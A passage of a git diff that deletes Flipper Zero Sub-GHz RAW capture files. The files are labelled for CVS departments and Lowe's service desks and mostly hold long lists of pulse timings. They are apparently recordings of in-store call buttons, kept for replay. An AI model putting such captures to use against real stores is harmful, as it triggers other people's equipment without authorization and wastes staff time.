-740 1584 -748 1544 -740 1584 -744 1548 -740 1588 -1504 788 -736 1588 -1504 788 -736 1584 -1504 784 -1504 820 -1508 780 -1508 816 -1508 780 -1512 820 -1512 776 -744 1584 -1508 784 -740 1588 -1500 788 -740 1580 -4592 784 -756 1552 -1516 788 -752 1556 -1516 828 -748 1544 -740 1584 -748 1544 -744 1580 -748 1544 -744 1584 -744 1548 -740 1584 -744 1548 -736 1588 -744 1548 -740 1584 -744 1544 -744 1584 -744 1548 -740 1584 -744 1548 -740 1584 -748 1544 -744 1584 -1504 784 -744 1584 -1504 788 -740 1580 -1504 788 -1504 816 -1508 784 -1508 816 -1508 780 -1508 828 -1504 784 -744 1580 -1508 784 -740 1584 -1508 784 -740 1576 -4596 784 -752 1552 -1520 792 -748 1552 -1520 828 -744 1544 -744 1588 -744 1544 -740 1584 -748 1548 -740 1584 -748 1544 -740 1584 -748 1544 -740 1584 -748 1544 -744 1580 -744 1548 -744 1584 -744 1544 -744 1584 -744 1544 -744 1584 -740 1548 -744 1588 -1508 784 -740 1584 -1508 784 -744 1576 -1508 784 -1504 820 -1504 784 -1508 816 -1508 784 -1504 828 -1504 780 -744 1584 -1504 784 -744 1584 -1512 780 -740 1584 -4588 792 -748 1552 -1520 792 -748 1556 -1516 832 -740 1548 -744 1580 -744 1548 -744 1584 -744 1544 -744 1584 -744 1544 -748 1584 -740 1544 -748 1584 -736 1548 -748 1584 -740 1544 -748 1584 -740 1548 -744 1584 -740 1548 -740 1588 -744 1548 -740 1592 -1508 776 -748 1584 -1504 784 -744 1580 -1508 780 -1504 824 -1504 784 -1504 824 -1504 784 -1508 824 -1508 780 -744 1588 -1508 780 -740 1588 -1504 784 -744 1580 -4592 788 -752 1556 -1516 792 -748 1556 -1520 828 -744 1548 -740 1584 -748 1544 -740 1584 -748 1548 -740 1584 -744 1548 -740 1584 -744 1548 -740 1584 -748 1548 -740 1584 -748 1544 -740 1584 -748 1548 -740 1584 -744 1548 -744 1584 -744 1544 -744 1588 -1504 784 -744 1584 -1504 784 -744 1576 -1508 784 -1508 816 -1508 784 -1508 816 -1508 784 -1504 828 -1504 780 -748 1584 -1508 780 -740 1588 -1504 784 -740 1584 -4592 788 -748 1552 -1520 792 -744 1560 -1516 -RAW_Data: 832 -740 1544 -748 1580 -744 1544 -744 1584 -744 1544 -740 1584 -748 1544 -740 1584 -748 1544 -744 1580 -748 1548 -740 1580 -748 1544 -744 1584 -740 1548 -744 1584 -740 1548 -744 1584 -744 1544 -744 1592 -1508 780 -740 1588 -1508 780 -744 1580 -1504 784 -1504 820 -1508 780 -1504 824 -1504 780 -1504 828 -1508 784 -740 1584 -1504 788 -740 1584 -1508 784 -736 1580 -4592 792 -752 1556 -1516 788 -752 1556 -1516 828 -740 1548 -744 1584 -744 1544 -748 1580 -744 1544 -744 1588 -740 1548 -744 1584 -740 1548 -744 1584 -744 1544 -748 1580 -744 1544 -748 1584 -748 1540 -744 1584 -748 1544 -740 1584 -748 1544 -744 1588 -1508 780 -748 1584 -1504 780 -748 1576 -1504 788 -1504 820 -1504 784 -1508 816 -1508 780 -1508 824 -1508 780 -748 1580 -1508 784 -740 1584 -1508 784 -744 1576 -4592 792 -748 1552 -1520 792 -744 1560 -1516 828 -744 1544 -744 1584 -744 1544 -740 1588 -744 1544 -744 1584 -744 1548 -736 1588 -748 1544 -740 1584 -748 1544 -740 1588 -740 1544 -748 1584 -740 1548 -744 1584 -744 1544 -748 1584 -740 1544 -748 1588 -1504 784 -744 1584 -1508 784 -744 1576 -1508 780 -1504 828 -1504 780 -1504 820 -1512 780 -1504 828 -1508 784 -740 1584 -1508 780 -744 1588 -1504 780 -748 1576 -4592 792 -744 1560 -1516 792 -748 1556 -1516 832 -744 1544 -744 1584 -744 1544 -748 1580 -744 1548 -740 1588 -740 1544 -748 1584 -744 1544 -744 1584 -740 1544 -748 1584 -744 1544 -744 1584 -748 1544 -740 1584 -748 1544 -740 1584 -748 1544 -744 1588 -1504 784 -740 1588 -1504 784 -744 1580 -1504 780 -1512 816 -1508 784 -1508 816 -1508 788 -1504 824 -1508 780 -748 1584 -1508 780 -744 1584 -1508 784 -744 1556 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Telecommunications_Department.sub b/assets/resources/subghz/Stores/CVS/Telecommunications_Department.sub deleted file mode 100644 index 042499c5d..000000000 --- a/assets/resources/subghz/Stores/CVS/Telecommunications_Department.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -744 1556 -1516 788 -744 1560 -1512 832 -740 1548 -744 1580 -740 1548 -744 1584 -740 1548 -736 1592 -736 1552 -736 1588 -740 1548 -740 1588 -740 1548 -740 1584 -744 1544 -740 1584 -740 1548 -740 1588 -744 1544 -744 1584 -740 1548 -736 1588 -1508 776 -1508 820 -1504 784 -1504 824 -1504 780 -744 1588 -1500 784 -744 1580 -1504 784 -1500 832 -1504 784 -740 1584 -1504 784 -740 1588 -1504 780 -740 1584 -4588 788 -744 1568 -1508 792 -748 1556 -1520 828 -740 1544 -744 1584 -740 1552 -740 1584 -740 1548 -740 1584 -740 1548 -740 1588 -736 1552 -736 1584 -748 1544 -740 1592 -740 1544 -740 1588 -740 1548 -740 1588 -740 1548 -744 1584 -740 1548 -736 1584 -1512 780 -1508 820 -1504 784 -1504 828 -1504 784 -740 1584 -1508 784 -740 1576 -1508 784 -1508 824 -1500 788 -740 1588 -1504 780 -744 1588 -1504 784 -744 1576 -4588 792 -752 1556 -1516 792 -744 1560 -1516 828 -740 1548 -744 1588 -740 1548 -744 1588 -736 1552 -736 1588 -740 1548 -744 1584 -744 1548 -740 1588 -736 1552 -740 1588 -740 1548 -744 1584 -744 1544 -744 1584 -740 1548 -740 1588 -744 1548 -736 1588 -1504 784 -1504 824 -1504 780 -1504 828 -1508 784 -740 1588 -1504 784 -740 1580 -1504 780 -1508 828 -1500 788 -740 1584 -1508 784 -740 1584 -1508 784 -740 1580 -4588 792 -748 1556 -1520 788 -748 1560 -1516 832 -740 1544 -740 1588 -740 1548 -744 1580 -748 1548 -740 1588 -740 1544 -744 1584 -744 1548 -740 1588 -744 1548 -740 1584 -740 1552 -740 1584 -744 1548 -744 1584 -744 1544 -740 1588 -740 1548 -740 1584 -1508 780 -1504 824 -1504 784 -1500 828 -1504 784 -744 1588 -1500 784 -744 1580 -1504 784 -1504 824 -1508 780 -744 1584 -1504 784 -740 1584 -1508 780 -744 1580 -4588 792 -748 1556 -1516 788 -752 1556 -1520 824 -744 1548 -744 1584 -740 1548 -740 1584 -740 1544 -748 1584 -744 1544 -744 1584 -740 1548 -740 1588 -744 1544 -744 1580 -740 1548 -744 1584 -744 1544 -744 1584 -740 1548 -744 1584 -744 1548 -740 1584 -1504 784 -1500 824 -1504 784 -1504 824 -1508 780 -740 1584 -1504 784 -748 1576 -1504 784 -1508 820 -1512 780 -744 1584 -1504 784 -740 1584 -1504 784 -744 1576 -4592 784 -752 1560 -1516 784 -752 1552 -1524 824 -744 1548 -744 1580 -748 1540 -748 1580 -748 1544 -744 1580 -748 1540 -748 1580 -748 1544 -744 1580 -748 1540 -748 1580 -748 1540 -748 1580 -748 1540 -748 1580 -748 1540 -744 1584 -752 1536 -748 1576 -1508 780 -1512 812 -1516 776 -1512 816 -1516 776 -748 1576 -1512 776 -752 1572 -1512 776 -1512 820 -1512 776 -752 1576 -1512 772 -752 1576 -1516 776 -748 1572 -4596 784 -752 1552 -1524 784 -756 1548 -1528 -RAW_Data: 820 -748 1536 -752 1580 -748 1540 -748 1580 -748 1540 -748 1580 -748 1540 -752 1576 -748 1540 -752 1576 -752 1540 -748 1580 -748 1540 -748 1576 -752 1544 -748 1576 -748 1540 -752 1576 -752 1540 -748 1576 -1516 772 -1512 816 -1512 776 -1512 820 -1512 780 -748 1580 -1508 780 -748 1572 -1512 776 -1512 820 -1512 780 -744 1580 -1512 780 -744 1580 -1512 780 -748 1576 -4592 784 -752 1552 -1520 784 -752 1556 -1520 824 -748 1540 -748 1580 -744 1544 -744 1584 -748 1540 -748 1580 -744 1540 -748 1580 -748 1544 -744 1580 -744 1544 -748 1580 -744 1544 -744 1580 -748 1540 -748 1580 -744 1544 -744 1584 -744 1544 -744 1580 -1508 776 -1512 816 -1508 776 -1512 820 -1504 784 -744 1584 -1504 780 -744 1576 -1512 780 -1504 824 -1508 780 -744 1584 -1504 780 -748 1584 -1508 780 -744 1572 -4596 784 -752 1560 -1516 788 -752 1552 -1520 824 -748 1544 -744 1580 -744 1544 -748 1580 -748 1540 -740 1584 -744 1544 -748 1580 -744 1544 -744 1584 -744 1544 -744 1584 -740 1544 -748 1580 -744 1544 -740 1584 -748 1544 -744 1584 -740 1544 -748 1580 -1508 780 -1504 820 -1508 780 -1508 824 -1504 780 -748 1580 -1508 780 -748 1572 -1512 780 -1508 824 -1504 784 -744 1580 -1504 784 -740 1588 -1504 780 -744 1576 -4592 788 -744 1556 -1520 784 -752 1560 -1516 828 -744 1544 -740 1584 -748 1540 -748 1584 -744 1540 -744 1584 -744 1544 -744 1584 -740 1544 -744 1584 -744 1544 -744 1580 -748 1544 -744 1584 -736 1548 -748 1580 -744 1544 -744 1580 -748 1544 -744 1576 -1512 776 -1508 820 -1508 780 -1508 824 -1504 784 -740 1584 -1504 784 -748 1576 -1504 784 -1500 828 -1504 780 -744 1584 -1508 780 -748 1580 -1504 784 -740 1560 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Vitamin_Department.sub b/assets/resources/subghz/Stores/CVS/Vitamin_Department.sub deleted file mode 100644 index cfab97a9d..000000000 --- a/assets/resources/subghz/Stores/CVS/Vitamin_Department.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -748 1556 -1512 792 -744 1560 -1516 828 -740 1544 -744 1584 -736 1548 -740 1588 -740 1544 -744 1588 -736 1548 -740 1584 -744 1544 -744 1580 -740 1548 -740 1584 -740 1552 -740 1584 -744 1544 -740 1584 -748 1544 -740 1584 -744 1548 -740 1584 -1504 784 -1504 828 -1504 780 -744 1580 -1504 784 -1500 828 -1504 784 -740 1584 -1504 784 -1500 828 -1504 780 -1504 824 -1504 788 -1500 824 -1500 788 -1504 824 -4584 792 -748 1556 -1516 788 -752 1556 -1516 828 -744 1544 -740 1584 -748 1548 -732 1588 -744 1548 -736 1588 -744 1544 -736 1588 -744 1548 -736 1584 -744 1552 -736 1588 -740 1548 -740 1588 -740 1548 -736 1588 -744 1544 -744 1584 -744 1544 -744 1580 -1508 784 -1500 832 -1504 784 -736 1584 -1504 784 -1500 832 -1500 784 -740 1584 -1500 788 -1504 820 -1508 776 -1508 824 -1500 784 -1504 824 -1504 788 -1500 820 -4592 788 -748 1560 -1508 796 -740 1564 -1512 828 -744 1552 -740 1584 -740 1548 -744 1588 -736 1548 -744 1588 -736 1548 -744 1584 -740 1544 -744 1588 -736 1548 -740 1588 -740 1548 -744 1584 -740 1548 -740 1584 -740 1548 -740 1588 -744 1544 -744 1584 -1500 784 -1504 832 -1500 784 -744 1580 -1504 780 -1504 828 -1500 788 -736 1584 -1504 788 -1500 820 -1504 788 -1504 820 -1500 788 -1500 828 -1500 784 -1500 828 -4588 788 -748 1556 -1516 788 -752 1556 -1512 832 -744 1544 -740 1584 -740 1548 -744 1588 -736 1548 -744 1584 -736 1548 -740 1588 -736 1552 -744 1580 -740 1548 -744 1588 -736 1544 -748 1584 -740 1548 -740 1588 -740 1544 -744 1588 -736 1548 -740 1580 -1504 788 -1500 828 -1500 784 -740 1580 -1500 788 -1500 828 -1500 784 -740 1584 -1500 788 -1504 820 -1504 788 -1496 824 -1504 784 -1500 828 -1496 788 -1496 828 -4584 792 -744 1560 -1512 792 -748 1556 -1516 828 -740 1548 -740 1588 -740 1544 -740 1588 -740 1548 -740 1588 -740 1548 -736 1588 -740 1548 -736 1588 -740 1548 -740 1588 -736 1548 -744 1588 -736 1548 -744 1588 -736 1548 -744 1588 -736 1548 -744 1584 -1504 784 -1500 828 -1504 788 -736 1580 -1504 788 -1504 824 -1504 784 -740 1580 -1504 788 -1500 824 -1500 788 -1504 824 -1504 780 -1504 828 -1500 784 -1504 820 -4588 792 -748 1560 -1512 792 -744 1560 -1516 828 -740 1552 -740 1588 -740 1548 -736 1592 -744 1544 -740 1588 -740 1548 -740 1588 -744 1544 -740 1588 -740 1552 -744 1584 -740 1548 -744 1588 -736 1552 -744 1584 -744 1548 -740 1584 -744 1552 -736 1588 -1500 788 -1504 828 -1504 784 -740 1580 -1508 784 -1500 828 -1504 788 -740 1580 -1504 784 -1504 824 -1500 792 -1500 820 -1508 784 -1500 828 -1504 784 -1504 820 -4588 792 -748 1564 -1508 788 -752 1564 -1512 -RAW_Data: 828 -744 1544 -744 1584 -744 1544 -740 1588 -740 1548 -740 1588 -744 1544 -740 1588 -744 1544 -740 1588 -744 1544 -736 1588 -740 1552 -736 1588 -744 1544 -744 1584 -744 1548 -736 1588 -740 1552 -736 1584 -1504 788 -1504 828 -1500 788 -740 1580 -1500 788 -1500 828 -1504 784 -740 1584 -1504 784 -1500 824 -1504 788 -1500 816 -1504 792 -1504 820 -1504 784 -1504 824 -4584 796 -744 1560 -1512 792 -744 1560 -1520 828 -736 1552 -740 1588 -736 1552 -740 1588 -736 1548 -744 1584 -744 1544 -744 1584 -740 1548 -744 1584 -744 1544 -740 1592 -740 1552 -736 1588 -744 1548 -736 1588 -744 1548 -744 1584 -740 1548 -740 1584 -1504 788 -1500 832 -1500 788 -740 1584 -1500 784 -1504 828 -1500 792 -736 1584 -1504 784 -1504 824 -1508 780 -1504 828 -1504 780 -1504 824 -1500 788 -1504 820 -4592 792 -740 1564 -1520 788 -740 1564 -1516 832 -740 1544 -744 1584 -740 1552 -740 1588 -736 1548 -748 1580 -744 1544 -748 1584 -736 1552 -740 1588 -740 1552 -740 1584 -740 1552 -736 1592 -740 1552 -736 1588 -740 1548 -744 1588 -740 1548 -740 1584 -1504 784 -1508 828 -1500 784 -744 1580 -1508 784 -1504 824 -1504 784 -744 1580 -1504 784 -1504 828 -1500 788 -1500 824 -1504 788 -1504 820 -1500 788 -1504 824 -4588 792 -744 1560 -1520 788 -748 1556 -1516 832 -736 1552 -740 1588 -740 1552 -736 1588 -744 1548 -736 1588 -744 1548 -736 1588 -744 1544 -740 1588 -740 1552 -740 1584 -740 1552 -740 1588 -740 1548 -736 1592 -740 1548 -740 1588 -740 1548 -744 1584 -1500 788 -1504 828 -1504 784 -740 1584 -1504 784 -1504 828 -1504 784 -744 1580 -1508 780 -1504 824 -1508 780 -1504 824 -1504 784 -1504 820 -1508 784 -1500 804 -15924 diff --git a/assets/resources/subghz/Stores/Lowes/Appliance_Desk.sub b/assets/resources/subghz/Stores/Lowes/Appliance_Desk.sub deleted file mode 100644 index b19905bf4..000000000 --- a/assets/resources/subghz/Stores/Lowes/Appliance_Desk.sub +++ /dev/null @@ -1,17 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 303875000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 605 -645 592 -469 456 -217 478 -194 387 -403 171 -376 627 -348 140 -378 343 -287 556 -136 491 -307 163 -305 478 -557 389 -429 288 -101 496 -302 260 -443 390 -292 537 -597 499 -552 160 -293 570 -158 480 -144 571 -435 694 -573 603 -599 138 -516 628 -227 193 -274 555 -250 663 -466 522 -237 652 -574 160 -339 329 -337 340 -662 503 -443 240 -328 504 -231 271 -539 349 -569 537 -390 336 -254 235 -477 489 -519 342 -574 383 -462 652 -557 520 -191 202 -525 525 -437 405 -458 304 -611 636 -226 587 -400 615 -680 -RAW_Data: 3893 -10486 1175 -4744 1163 -1812 1199 -4680 1203 -7598 1219 -1782 1173 -4718 1185 -7616 1177 -1812 1193 -4726 1201 -7606 1209 -1776 1215 -4700 1201 -4682 1209 -4706 1193 -4684 1203 -7632 1177 -1806 1185 -4726 1201 -4690 1201 -7604 1179 -10512 1215 -4694 1195 -1810 1167 -4710 1201 -7592 1219 -1778 1201 -4684 1195 -7610 1211 -1774 1187 -4726 1199 -7598 1201 -1810 1181 -4688 1221 -4686 1203 -4718 1179 -4714 1179 -7628 1169 -1806 1195 -4696 1207 -4688 1219 -7612 1205 -10508 1187 -4708 1177 -1808 1195 -4684 -RAW_Data: 1201 -7594 1199 -1794 1211 -4694 1191 -7606 1207 -1774 1217 -4674 1211 -7606 1199 -1812 1201 -4686 1211 -4684 1215 -4698 1199 -4680 1209 -7602 1223 -1776 1203 -4722 1191 -4696 1207 -7604 1191 -10518 1207 -4680 1183 -1800 1211 -4702 1201 -7562 1201 -1806 1205 -4688 1219 -7598 1203 -1802 1167 -4698 1209 -7622 1203 -1800 1201 -4676 1211 -4718 1203 -4688 1201 -4690 1207 -7602 1219 -1808 1171 -4716 1189 -4704 1207 -7588 1231 -10518 1191 -4702 1177 -1810 1193 -4690 1203 -7592 1213 -1802 1179 -4720 1205 -7604 -RAW_Data: 1201 -1774 1209 -4708 1191 -7610 1205 -1806 1181 -4712 1181 -4704 1205 -4714 1187 -4710 1177 -7632 1195 -1810 1199 -4690 1211 -4678 1221 -7604 1203 -10504 1197 -4718 1177 -1802 1189 -4680 1203 -7618 1207 -1776 1187 -4722 1171 -7640 1197 -1816 1175 -4724 1189 -7608 1207 -1804 1179 -4716 1181 -4728 1201 -4688 1199 -4688 1207 -7602 1223 -1778 1201 -4718 1185 -4708 1205 -7608 1193 -10518 1203 -4716 1179 -1802 1181 -4724 1201 -7592 1199 -1782 1209 -4684 1223 -7606 1201 -1774 1195 -4694 1211 -7606 1221 -1778 -RAW_Data: 1203 -4708 1209 -4688 1217 -4690 1203 -4682 1215 -7592 1213 -1810 1199 -4682 1195 -4696 1211 -7632 1185 -10524 1165 -4716 1181 -1806 1183 -4722 1205 -7600 1203 -1800 1175 -4688 1221 -7604 1205 -1806 1155 -4734 1177 -7634 1193 -1816 1167 -4716 1201 -4714 1193 -4692 1203 -4718 1181 -7620 1187 -1812 1203 -4688 1193 -4726 1177 -7608 1223 -10502 1205 -4706 1201 -1768 1211 -4692 1197 -7606 1207 -1806 1177 -4706 1181 -7608 1199 -1808 1201 -4688 1209 -7594 1225 -1782 1203 -4716 1175 -4716 1183 -4720 1203 -4684 -RAW_Data: 1223 -7642 1177 -1812 1207 -4682 1193 -4698 1209 -7624 1197 -10520 1205 -4678 1185 -1800 1215 -4692 1191 -7604 1201 -1802 1205 -4686 1217 -7602 1171 -1804 1195 -4728 1175 -7606 1227 -1786 1199 -4720 1181 -4716 1177 -4726 1199 -4680 1195 -7646 1177 -1806 1193 -4690 1205 -4720 1179 -7632 1181 -10516 1199 -4726 1169 -1808 1209 -4690 1179 -7602 1201 -1810 1197 -4690 1211 -7598 1183 -1792 1203 -4716 1187 -7616 1173 -1812 1197 -4692 1201 -4712 1213 -4686 1183 -4730 1201 -7598 1199 -1812 1173 -4688 1221 -4688 -RAW_Data: 1205 -7598 1193 -10510 1201 -4726 1189 -1778 1203 -4678 1199 -7622 1207 -1768 1197 -4690 1203 -7596 1213 -1804 1177 -4720 1199 -7596 1191 -1818 1207 -4694 1195 -4718 1197 -4682 1209 -4720 1191 -7604 1205 -1804 1175 -4720 1179 -4720 1205 -7586 1223 -10514 1207 -4694 1193 -1780 1201 -4716 1177 -7628 1179 -1810 1205 -4684 1197 -7620 1209 -1778 1199 -4690 1205 -7634 1207 -1806 1183 -4710 1199 -4684 1205 -4726 1191 -4698 1205 -7618 1173 -1804 1217 -4672 1205 -4714 1207 -7616 1193 -10518 1205 -4680 1199 -1802 -RAW_Data: 1181 -4722 1173 -7632 1199 -1806 1171 -4720 1187 -7594 1199 -1808 1209 -4690 1215 -7608 1201 -1774 1191 -4724 1207 -4708 1203 -4688 1197 -4712 1173 -7610 1219 -1782 1203 -4718 1177 -4716 1175 -7600 1203 -10516 1205 -4684 1215 -1802 1179 -4708 1175 -7628 1185 -1792 1209 -4692 1195 -7604 1207 -1810 1177 -4714 1179 -7638 1173 -1810 1195 -4728 1175 -4720 1197 -4692 1203 -4718 1211 -7600 1181 -1814 1203 -4688 1223 -4696 1205 -7606 1197 -10516 1203 -4716 1177 -1802 1179 -4722 1205 -7598 1201 -1774 1209 -4686 -RAW_Data: 1219 -7610 1177 -1802 1203 -4710 1177 -7638 1205 -1774 1225 -4696 1207 -4710 1167 -4720 1193 -4716 1205 -7608 1195 -1808 1195 -4722 1175 -4726 1187 -7602 1205 -10542 1181 -4720 1179 -1796 1205 -4680 1193 -7624 1205 -1778 1195 -4722 1201 -7594 1211 -1800 1189 -4694 1203 -7626 1209 -1804 1189 -4688 1199 -4720 1211 -4686 1215 -4692 1203 -7624 1199 -1800 1177 -4724 1167 -4724 1201 -7604 1209 -10498 1221 -4686 1199 -1808 1177 -4718 1179 -7622 1203 -1800 1167 -4704 1209 -7608 1199 -1816 1167 -4718 1209 -7604 -RAW_Data: 1185 -1814 1203 -4712 1199 -4682 1213 -4694 1199 -4694 1199 -7628 1211 -1806 1189 -4694 1203 -4716 1191 -7616 1207 -10550 1167 -4718 1199 -1782 1209 -4688 1217 -7606 1205 -1774 1195 -4696 1213 -7604 1213 -1794 1169 -4722 1209 -7602 1185 -1810 1203 -4718 1187 -4704 1209 -4712 1203 -4682 1191 -7632 1209 -1812 1163 -4720 1195 -4716 1175 -7634 1193 -10506 1199 -4718 1207 -1776 1221 -4696 1169 -7622 1193 -1812 1173 -4724 1193 -7608 1207 -1804 1177 -4714 1181 -7616 1203 -1802 1203 -4690 1223 -4700 1205 -4680 -RAW_Data: 1213 -4714 1179 -7614 1207 -1806 1185 -4710 1209 -4694 1193 -7606 1203 -10540 1177 -4716 1181 -1826 1167 -4718 1175 -7660 1195 -1782 1203 -4716 1181 -7624 1181 -1788 1201 -4716 1187 -7612 1209 -1812 1167 -4712 1197 -4702 1209 -4696 1199 -4718 1195 -7604 1209 -1808 1195 -4696 1203 -4712 1181 -7628 1185 -117142 165 -166 133 -68 99 -132 199 -230 299 -132 699 -166 331 -232 591 -100 457 -130 523 -98 723 -100 2005 -98 2073 -132 2679 -98 8815 -16856 461 -164 97 -66 65 -164 -161 113 -167 470 -272 413 -461 596 -RAW_Data: -651 248 -550 296 -391 551 -160 410 -630 443 -461 492 -260 168 -551 500 -631 552 -477 242 -540 141 -300 666 -630 520 -292 109 -309 465 -284 606 -273 151 -681 493 -580 484 -583 310 -443 329 -282 287 -675 399 -677 272 -123 584 -145 111 -319 434 -666 243 -238 282 -200 449 -133 542 -147 624 -505 233 -274 114 -549 442 -229 345 -568 525 -399 266 -630 549 -345 357 -695 400 -200 688 -332 287 -232 493 -636 564 -162 615 -339 251 -129 579 -324 266 -220 571 -593 621 -667 617 -550 691 -114 697 -544 237 -558 195 diff --git a/assets/resources/subghz/Stores/Lowes/Blind_Cutting.sub b/assets/resources/subghz/Stores/Lowes/Blind_Cutting.sub deleted file mode 100644 index 320d2c83a..000000000 --- a/assets/resources/subghz/Stores/Lowes/Blind_Cutting.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 303875000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 176942 -13098 199 -4058 65 -100 231 -198 231 -98 199 -134 931 -100 333 -66 103035 -4446 67 -434 99 -66 97 -234 99 -232 65 -406 167 -132 199 -300 65 -6822 65 -2468 63 -426 131 -426 65 -328 165 -100 163 -692 459 -66 621 -296 2275 -134 739749 -10728 1007 -4918 1009 -2006 991 -4912 973 -7830 1017 -2004 985 -4914 1007 -7824 975 -2016 985 -7860 981 -2002 1019 -4890 1011 -4934 995 -7820 987 -2030 977 -7838 985 -2032 999 -4912 1007 -4900 1009 -4910 999 -7808 1027 -10702 1005 -4938 977 -2012 981 -4944 1001 -7826 1007 -1978 1027 -4914 971 -7852 977 -2020 995 -7820 1021 -2000 1011 -4920 973 -4918 1023 -7826 1011 -2004 975 -7840 1011 -2006 985 -4938 997 -4918 1007 -4922 1009 -7836 985 -10730 1011 -4908 1005 -2020 975 -4920 1023 -7822 987 -2028 977 -4910 989 -7828 1005 -1998 1009 -7850 997 -2002 997 -4910 1007 -4922 1007 -7800 1021 -1996 1005 -7806 1007 -2038 987 -4916 973 -4912 1011 -4920 983 -7834 1013 -10708 1017 -4924 989 -2002 1007 -4910 979 -7820 997 -2008 1027 -4914 997 -7816 1011 -2000 973 -7842 1009 -2010 985 -4950 969 -4944 1007 -7830 1013 -2010 1015 -7808 1023 -1994 999 -4920 1009 -4916 1009 -4898 1015 -7804 1015 -10738 989 -4916 999 -2018 997 -4914 999 -7818 1003 -2004 1007 -4920 983 -7836 1011 -2002 1009 -7808 1013 -1996 1023 -4910 997 -4914 1005 -7838 1013 -2004 985 -7832 1009 -2002 983 -4920 1015 -4898 1009 -4914 1009 -7800 1013 -10718 1011 -4912 1005 -1988 1011 -4914 977 -7824 1009 -1992 1011 -4890 1015 -7826 985 -2018 983 -7832 1009 -2000 1007 -4908 1011 -4928 997 -7822 1023 -2000 1009 -7808 1009 -2004 1025 -4888 1039 -4876 1013 -4928 985 -7836 1009 -10744 987 -4916 1011 -2014 979 -4912 1021 -7810 1011 -2010 979 -4916 1021 -7810 1015 -2008 977 -7828 1023 -2018 967 -4922 1025 -4912 987 -7852 1009 -2014 971 -7860 983 -2032 977 -4934 1001 -4912 1007 -4894 1023 -7824 991 -10728 1011 -4898 999 -2002 997 -4928 1007 -7794 1017 -2006 969 -4920 1009 -7814 989 -2020 981 -7834 1011 -2000 999 -4912 1007 -4944 979 -7854 977 -2010 1025 -7826 997 -2030 975 -4912 1011 -4914 1011 -4896 1009 -7848 1001 -10740 1005 -4914 1007 -1996 999 -4890 1013 -7826 1007 -2022 967 -4922 1023 -7792 1023 -1992 1015 -7806 1015 -2002 1017 -4904 1013 -4902 1025 -7822 989 -2030 979 -7830 1005 -2034 999 -4890 1013 -4904 1029 -4886 1039 -7824 977 -10742 1011 -4884 1015 -2002 1007 -4886 999 -7834 1001 -2000 997 -4916 1007 -7810 991 -2016 983 -7834 1009 -2000 1005 -4904 1013 -4912 987 -7824 1023 -1990 1011 -7836 983 -2036 971 -4912 1007 -4932 995 -4910 1027 -7800 1005 -10746 1015 -4888 1025 -1976 1007 -4920 1011 -7802 1025 -2008 973 -4920 1013 -7830 987 -2012 1005 -7818 1011 -2020 975 -4926 1021 -4914 1001 -7822 1007 -2012 1005 -7822 997 -2022 991 -4906 997 -4918 1009 -4924 -RAW_Data: 1009 -7828 985 -10746 1005 -4910 1009 -1988 1013 -4908 979 -7828 1011 -1986 1011 -4892 1009 -7826 1007 -1992 1013 -7804 1011 -1998 1009 -4908 1013 -4902 1025 -7824 1003 -2000 1011 -7792 1023 -2002 997 -4914 1001 -4920 973 -4916 1027 -7804 1005 -10750 983 -4948 959 -2038 977 -4926 975 -7832 993 -2032 975 -4920 1007 -7832 999 -1998 989 -7862 989 -2022 977 -4920 1019 -4934 999 -7836 1003 -2002 993 -7856 971 -2036 975 -4928 1013 -4926 981 -4908 1007 -7852 975 -10754 1007 -4916 989 -2004 1007 -4912 975 -7838 1015 -1994 983 -4944 971 -7820 1011 -2010 983 -7828 1023 -1988 1015 -4890 1011 -4912 1007 -7812 1013 -2008 985 -7826 1023 -1992 1011 -4910 1019 -4910 973 -4942 975 -7838 987 -10730 1029 -4914 975 -2008 1011 -4916 989 -7834 1011 -2004 1009 -4890 1001 -7834 1003 -2000 993 -7830 1009 -2010 1007 -4920 985 -4916 1015 -7850 997 -2002 1007 -7820 985 -2020 1015 -4922 985 -4914 1021 -4902 1015 -7808 1013 -10740 987 -4926 1011 -2008 981 -4912 1007 -7846 975 -2010 989 -4912 1005 -7854 977 -2008 1019 -7820 993 -2032 973 -4918 1011 -4916 981 -7866 981 -2000 1009 -7840 1001 -2016 969 -4912 1025 -4916 973 -4920 1011 -7832 989 -10734 1009 -4884 1011 -2010 987 -4912 1009 -7822 1007 -1982 1001 -4926 983 -7824 1001 -2034 975 -7850 979 -2038 987 -4918 1009 -4912 985 -7844 1013 -1992 1023 -7810 1021 -2002 1013 -4894 1001 -4912 1027 -4890 1007 -7836 1013 -10714 1021 -4904 1005 -1980 1007 -4914 995 -7830 1007 -2006 1005 -4918 989 -7828 1005 -1996 1007 -7812 1011 -2010 989 -4948 985 -4928 1001 -7832 1007 -2008 985 -7818 1011 -1998 1005 -4904 1009 -4922 983 -4938 997 -7838 973 -10742 1015 -4914 987 -2008 975 -4920 1007 -7832 987 -2000 1013 -4878 1015 -7836 981 -2034 981 -7830 1021 -2014 969 -4930 1011 -4924 989 -7832 1011 -2004 975 -7846 1011 -2024 969 -4944 985 -4922 1005 -4904 1007 -7816 1011 -10750 995 -4906 999 -2014 1009 -4884 1009 -7838 981 -2012 1011 -4918 979 -7844 983 -2008 1011 -7828 989 -2018 1017 -4888 1011 -4914 1009 -7846 977 -2016 999 -7820 1021 -2002 1003 -4922 1007 -4912 1001 -4912 1023 -7828 987 -10720 1013 -4904 985 -2032 971 -4940 977 -7842 993 -2000 997 -4918 1007 -7796 1015 -2008 989 -7828 1007 -2002 1007 -4894 1013 -4924 983 -7856 987 -2026 977 -7834 1025 -2002 985 -4934 977 -4936 995 -4914 995 -7832 1007 -181308 65 -230 97 -722 231 -526 65 -262 231 -98 97 -494 393 -98 163 -132 219969 -34298 65 -3758 65 -530 197 -664 395 -132 655 -100 97 -332 131 -100 755 diff --git 